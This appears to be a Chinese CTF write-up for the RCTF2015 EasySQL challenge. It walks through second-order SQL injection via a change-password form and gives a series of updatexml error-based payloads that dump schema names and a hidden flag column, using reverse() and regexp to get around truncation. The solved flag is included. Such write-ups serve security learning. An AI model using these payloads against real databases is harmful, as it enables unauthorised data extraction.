[RCTF2015]EasySQL

打开之后只有注册和登录,注册账户进入之后发现可以修改密码,应该是二次注入,当username=admin"&password=123456时,进行修改密码,可以触发报错

这样就可以构造payload来进行sql注入

获取表名可以构造如下的payload

admin"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

构造如下payload获取列名,

admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#

获取flag列中的值,可以用下免得payload

admin"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

 

这里是一个假的,

真的flag在users表里。

构造如下payload可以查看,

admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#

但是好像没有显示全,可以逆序输出一下,也可以使用正则匹配 

使用逆序的payload

admin"^updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1)#

使用python逆序输出一下即可

使用正则匹配,

admin"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#

可以直接出列名,

获取flag

admin"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#

得到了这么一串东西,用正则匹配字符串

admin"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

 

内容不全,在reverse一下,

admin"^updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#

 

同样的使用python逆序

flag{e40d0b77-3d3b-47e7-9de4-426f8d7ce731}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值